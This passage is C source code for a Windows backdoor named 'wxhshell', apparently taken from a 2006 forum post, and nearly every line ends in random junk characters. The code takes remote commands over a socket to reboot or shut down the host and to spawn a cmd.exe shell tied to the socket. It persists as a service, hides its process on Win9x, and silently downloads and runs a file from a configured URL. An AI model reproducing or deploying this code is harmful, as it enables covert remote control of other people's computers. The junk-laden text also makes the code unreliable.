    switch(cmd[0]) { COC6H'F  
  :kMEL*  
  // 帮助 Wdp?<U  
  case '?': { 2S`D7R#6s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vI)-Zz[3  
    break; J#L"kz  
  } ag~4m5n*~  
  // 安装 K$K6,54y  
  case 'i': { &1k2J   
    if(Install()) Pn;Tg7oz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nWd]P\a'V  
    else Ry+Ax4#+(y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vXA+4 ?ZG  
    break; >^!qx b-  
    } K/OE;;<IA  
  // 卸载 P{{pp<tX*&  
  case 'r': { K}(0H[P  
    if(Uninstall()) kS@6'5U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _r6aLm2n  
    else kq m$a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5/m^9@A  
    break; k&kx%skz  
    } k'hJ@ 6eKS  
  // 显示 wxhshell 所在路径 Gx.iZOOH/  
  case 'p': { 9sR?aW^$,/  
    char svExeFile[MAX_PATH]; mV58&SZT  
    strcpy(svExeFile,"\n\r"); 9)Jc'd|  
      strcat(svExeFile,ExeFile); HS% P  
        send(wsh,svExeFile,strlen(svExeFile),0); k8~/lE.Wy  
    break; [kjmEMF9i  
    } SW^/\cJ^  
  // 重启 5NT?A,r"  
  case 'b': { HRPNZ!B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h 9B^U?<wT  
    if(Boot(REBOOT)) 5V{ B,T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qxR7;/@j)  
    else { :W++`f&  
    closesocket(wsh); in/ITy-  
    ExitThread(0); 0VOj,)K=  
    } GOx+%`.R\  
    break; +}u{{  
    } Gl+Ql?|  
  // 关机 kN99(  
  case 'd': { BWd{xP y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PN$vBFjm  
    if(Boot(SHUTDOWN)) lM<SoC;[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0d%p<c  
    else { tk"+PTGJT  
    closesocket(wsh); ]I|3v]6qR  
    ExitThread(0); :=I@<@82W  
    } -X)KY_Xn@/  
    break; ~PoBvHi  
    } [J6*Q9B<V&  
  // 获取shell y].vll8R  
  case 's': { AhjUFz  
    CmdShell(wsh); %S2^i3  
    closesocket(wsh); /%fa_+,|-  
    ExitThread(0); 0%9Nf!j  
    break; iyRB}[y  
  } _B5t)7I  
  // 退出 AxXFzMW  
  case 'x': { .7!n%Ks  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7Z(F-B +j  
    CloseIt(wsh); 1 >nl ]yO  
    break; gx*rxid  
    } G O=&  
  // 离开 L;n2,b  
  case 'q': { J:{$\m'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D`t }V  
    closesocket(wsh); 2!Mwui;%  
    WSACleanup(); /Ww_fY  
    exit(1); |kUxTe  
    break; d]v4`nc  
        } N<xf=a+j  
  } o9l =Q  
  } b`4R`mo  
~}c`r4  
  // 提示信息 2(, `9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E%f;Z7G  
} rY 0kzD/  
  } ; U)a)l'y  
k#4%d1O}  
  return; q*<Fy4j  
} NbD"O8dL~E  
6Q&*V7EO  
// shell模块句柄 y5XHJUTu  
int CmdShell(SOCKET sock) =-ky%3:`@  
{ y11/:|  
STARTUPINFO si; 9Yh0' <Z  
ZeroMemory(&si,sizeof(si)); J| orvnkK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S_z}h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UeG$lMV  
PROCESS_INFORMATION ProcessInfo; SX{sh M2  
char cmdline[]="cmd"; yMQuM :d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H?dmNwkPY  
  return 0; PgKA>50a  
} 1I?D$I>CV  
}HM8VAH  
// 自身启动模式 Z=ayVsJ3  
int StartFromService(void) q<YteuZJ,  
{ MI|51&m  
typedef struct _.xT :b36  
{ Fb<r~2  
  DWORD ExitStatus; FBjIft5e  
  DWORD PebBaseAddress; AnbY<&OC1  
  DWORD AffinityMask; o@?3i+%}8  
  DWORD BasePriority; Fh XR!x^  
  ULONG UniqueProcessId; Ek [V A\G  
  ULONG InheritedFromUniqueProcessId; C] <K s  
}   PROCESS_BASIC_INFORMATION; VQm)32'  
C-;y#a)  
PROCNTQSIP NtQueryInformationProcess; lWv3c!E`  
_]"5]c&*3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w1J&c'-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wff&ci28  
$B6"fYiDk  
  HANDLE             hProcess; |(gq:O  
  PROCESS_BASIC_INFORMATION pbi; t'uZho~^F  
05(lh<C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \#(cI  
  if(NULL == hInst ) return 0; ; &2J9  
n7 RswX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >IW0YIQy,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;79X# hI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wgl7)Xk.)  
`<Z5/;a5W  
  if (!NtQueryInformationProcess) return 0; #clPao?r  
xw*T? !r=V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _P!J0  
  if(!hProcess) return 0; FhgO5@BO  
x1m J&D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8&6h()  
S~\i"A)4  
  CloseHandle(hProcess); ."R,j|o6  
O a_2J#~$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >EFjyhVE  
if(hProcess==NULL) return 0; / r#.BXP  
sXzxEhp  
HMODULE hMod; h1.]Nl C  
char procName[255]; |x|#n  
unsigned long cbNeeded; Le9^,B@Pb  
m*L*# ZBS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *P_ 3A:_  
DLYk#d: q?  
  CloseHandle(hProcess); 0]l _qxv  
=J0X{Ovn4z  
if(strstr(procName,"services")) return 1; // 以服务启动 )bZS0f-  
Y`S9mGR#  
  return 0; // 注册表启动 +/60$60[z  
} j2T Z`Z?a^  
#vi `2F  
// 主模块 RVv@x5  
int StartWxhshell(LPSTR lpCmdLine) TIg 3'au  
{ od{b]HvgS  
  SOCKET wsl; y]5O45E0  
BOOL val=TRUE; I_mnXd;n  
  int port=0; j]EeL=H<P  
  struct sockaddr_in door; a3i4eGT-  
2R&msdF   
  if(wscfg.ws_autoins) Install(); } h|1H  
5qkG~ YO-  
port=atoi(lpCmdLine); _94|^   
/dpEL9K  
if(port<=0) port=wscfg.ws_port; YEoQIR  
^)&d7cSc  
  WSADATA data; @ U6Iw"@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .OM m"RtK  
fYF\5/_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z'K&LH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MXY[t  
  door.sin_family = AF_INET; d\}r.pD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'qS&7 W(  
  door.sin_port = htons(port); 3]BK*OqJ  
X cmR/+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &g R+D  
closesocket(wsl); DVxW2J  
return 1; (tV/.x*G  
} q3\ YL?  
<Q'J=;vV  
  if(listen(wsl,2) == INVALID_SOCKET) { S[rz=[7{  
closesocket(wsl); 3z9}cOFq]z  
return 1; )CQ'kHT<e  
} Zr,:i MPZ  
  Wxhshell(wsl); G2Eke;  
  WSACleanup(); 59:Xu%Hp  
J[rpMQ  
return 0; <zE,T@c  
>K$9 (  
} + ^n [B  
~=~|@K  
// 以NT服务方式启动 Sw<@u+Z;%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ftB-gItV  
{ gT$`a  
DWORD   status = 0; F@Qzh  
  DWORD   specificError = 0xfffffff; RnV )*  
E7-il;`cKn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g$<Sh.4A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Md_S};!QN6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v'(p."g  
  serviceStatus.dwWin32ExitCode     = 0; bcFG$},k  
  serviceStatus.dwServiceSpecificExitCode = 0; e[f}Lxln  
  serviceStatus.dwCheckPoint       = 0; Y.&nxT95=  
  serviceStatus.dwWaitHint       = 0; G9ku(2cq  
+CL`]'~;E-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8SII>iL{  
  if (hServiceStatusHandle==0) return; xMNUy B{?  
_oK*1#Rm8  
status = GetLastError(); /?<o?IR~6  
  if (status!=NO_ERROR) H'E(gc)>)  
{ .$5QM&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Coz\fL  
    serviceStatus.dwCheckPoint       = 0; ) -x0xY  
    serviceStatus.dwWaitHint       = 0; f0+)%gO{  
    serviceStatus.dwWin32ExitCode     = status; &GF@9BXI3  
    serviceStatus.dwServiceSpecificExitCode = specificError; zi l^^wT0J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;5qZQ8`4  
    return; oUrNz#U  
  } Vvk1 D(  
@&(0]kZ6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EYNi`  
  serviceStatus.dwCheckPoint       = 0; rnW(<t"  
  serviceStatus.dwWaitHint       = 0; Y=+pz^/"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -0rc4<};h  
} +~b@W{  
M:6Yy@#T.  
// 处理NT服务事件,比如:启动、停止 tQ=P.14>:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P%M Yr"<$E  
{ JGl0 (i*|  
switch(fdwControl) ^ Q]I)U  
{ W8{g<. /  
case SERVICE_CONTROL_STOP: z\wY3pIr2  
  serviceStatus.dwWin32ExitCode = 0; EM9K^l`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wp7<0PP  
  serviceStatus.dwCheckPoint   = 0;  [@YeQ{  
  serviceStatus.dwWaitHint     = 0; [w&B>z=g$  
  { .} al s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +?r,Nn  
  } PhTMXv<cE  
  return; J?VMQTa/+  
case SERVICE_CONTROL_PAUSE: /U\k<\1~m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Fq\vFt|m<  
  break; S"+X+Oxp7?  
case SERVICE_CONTROL_CONTINUE: jroR 2*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0;9X`z J  
  break; vz'/]E  
case SERVICE_CONTROL_INTERROGATE: r]JV !'R  
  break; jpijnz{M  
}; @@->A9'L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fS9TDy  
} ]\DZW4?'  
4mYJi#e6x  
// 标准应用程序主函数 9Z, K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fo\* Cr9D  
{ ejs_ ?  
G)~/$EF,_  
// 获取操作系统版本 a`/\0~  
OsIsNt=GetOsVer(); >Pa&f20Hp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h=:Ls]ZU  
FfEP@$  
  // 从命令行安装 CshYUr -  
  if(strpbrk(lpCmdLine,"iI")) Install(); [_kis  
NVyel*QE  
  // 下载执行文件 ux>wa+XFa  
if(wscfg.ws_downexe) { ->"Z1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `^_c&y K  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2z*EamF  
} #6okd*^  
B?M&j  
if(!OsIsNt) { +% E)]*Ym  
// 如果时win9x,隐藏进程并且设置为注册表启动 {v3?.a$ u  
HideProc(); P _e9>t@  
StartWxhshell(lpCmdLine); >+}yI}W;e  
} Tfsx&k\  
else Lt'FA  
  if(StartFromService()) LT+QW  
  // 以服务方式启动 =(]yl_  
  StartServiceCtrlDispatcher(DispatchTable); s}w?Dvo\  
else AN)exU ?  
  // 普通方式启动 Bh<DqN  
  StartWxhshell(lpCmdLine); _m0B6?KJ  
Ht`kmk;I)  
return 0; *z?Vy<u G  
}
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只看该作者 1 发表于: 2006-10-10
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